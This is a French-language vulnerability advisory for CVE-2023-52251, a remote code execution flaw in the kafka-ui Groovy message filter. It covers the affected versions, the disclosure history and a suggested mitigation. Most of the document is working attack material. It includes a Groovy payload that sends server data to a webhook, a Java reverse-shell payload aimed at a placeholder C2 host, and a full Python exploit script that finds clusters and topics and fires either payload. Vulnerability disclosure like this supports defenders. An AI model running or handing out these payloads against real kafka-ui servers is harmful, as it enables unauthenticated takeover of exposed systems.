
CVE-2023-52251 Il existe une vulnérabilité d'exécution de code à distance provectus/kafka-ui.
Il existe une vulnérabilité d'exécution de code à distance dans provectus/kafka-ui. Aucun correctif n'est disponible au moment de la rédaction, mais le fournisseur a été notifié par nos soins ainsi que par l'équipe de VINCE sans aucune réponse. Le rapport a été envoyé le 27 septembre 2023 à provectus par e-mail et via la sécurité GitHub.
Nous suggérons de commenter l'intégralité de la fonction de filtre groovy / d'ajouter une authentification comme mesure minimale.
| Titre | Valeur |
|---|---|
| Chaîne CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H |
| ID CVE | CVE-2023-52251 |
| Description CVE | provectus kafka-ui 0.4.0-0.7.1 a été découvert comme contenant une vulnérabilité d'exécution de commande à distance (RCE) via le paramètre q à /api/clusters/local/topics/{topic}/messages |
| Score CVSS | 9.x |
| CWE | CWE-94 : Contrôle inapproprié de la génération de code ('Injection de code') |
| Fournisseur | Provectus |
| Produit | kafka-ui |
| Lien | https://github.com/provectus/kafka-ui |
| Versions affectées | 0.4.0-0.7.1 |
| Versions corrigées | Aucune |
| Contributeurs | Thingstad, BobTheShoplifter |
Type de vulnérabilité : Exécution de code à distance (RCE)
Logiciel concerné : Kafka-ui
Version : [0.4.0-0.7.1]
Le filtre de script groovy n'est pas assaini avant son exécution. Cela permet à un attaquant d'exécuter du code arbitraire sur le serveur.
Dans la fonction groovyScriptFilter le « script » n'est pas assaini avant d'être exécuté.
Et il est évalué dans le moteur :
var result = compiledScript.eval(bindings);
Instructions complètes, y compris les détails de configuration spécifiques, pour reproduire la vulnérabilité.
En utilisant le filtre :
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

Cela enverra une requête au webhook avec le nom du système d'exploitation du serveur.

En allant plus loin, nous pouvons utiliser la charge utile suivante pour obtenir un shell inversé :
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
La charge utile est générée facilement sur https://www.revshells.com/.

Et un PoC en python a également été créé :
from time import sleep
import requests
import json
import urllib
import argparse
url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"
def get_clusters():
global clusters
clusterfetch = requests.get(url + '/api/clusters')
clusters = clusterfetch.json()
def get_topics(cluster):
topicfetch = requests.get(
url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
topics = topicfetch.json()['topics']
return topics
def get_webhooks():
webhookfetch = requests.post('https://webhook.site/token')
webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
print('URL Created: ' + webhook)
token_id = webhookfetch.json()['uuid']
headers = {"api-key": webhookfetch.json()['uuid']}
return webhook, token_id, headers
def Exploit():
try:
get_clusters()
cluster = clusters[0]['name']
topics = get_topics(cluster)
topic = topics[0]['name']
webhook, token_id, headers = get_webhooks()
checkpayload = 'new URL("'+webhook+'").text'
rcepayload = 'String host="' + c2 + \
'";int port='+port + \
';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
payload = rcepayload if mode == "rce" else checkpayload
r = requests.get(
url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
print(r.text)
r = requests.get('https://webhook.site/token/' + token_id +
'/requests?sorting=newest', headers=headers)
if r.json()['data'] == []:
print("No rce found")
else:
for request in r.json()['data']:
print(request)
print("Rce found")
except KeyboardInterrupt:
print("KeyboardInterrupt")
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Kafka-ui4shell rce.')
parser.add_argument('--mode', help='check, rce', required=False,
choices=['check', 'rce'], default="check")
parser.add_argument(
'--url', help='Target url. Example http://localhost:8080', required=True)
parser.add_argument('--c2', help='C2 ip for RCE',
required=False),
parser.add_argument('--c2port', help='File with urls', required=False)
args = parser.parse_args()
if args.mode == "rce":
# Check if c2 and c2port are set
if args.c2 and args.c2port:
c2 = args.c2
port = args.c2port
mode = args.mode
Exploit()
exit()
else:
print("C2 and C2 port are required for RCE")
exit()
if args.url:
url = args.url
if args.mode:
mode = args.mode
if args.c2:
c2 = args.c2
if args.c2port:
port = args.c2port
Exploit()
exit()
else:
parser.print_help()
Cette vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur le serveur. Cela peut être utilisé pour obtenir un accès au serveur et compromettre davantage le système. Cette vulnérabilité est exploitable par tout utilisateur ayant accès à l'interface web de kafka-ui.
Au moment de la rédaction, plus de 1 000 instances de kafka-ui sont exposées à Internet selon Censys. Toutes ces instances pourraient être vulnérables à cette attaque.

Ce logiciel est également susceptible de fonctionner sur des réseaux internes, où un attaquant pourrait obtenir un accès au réseau et exploiter cette vulnérabilité.
Lars Thingstad - @Thingstad Daniel Christensen - @BobTheShoplifter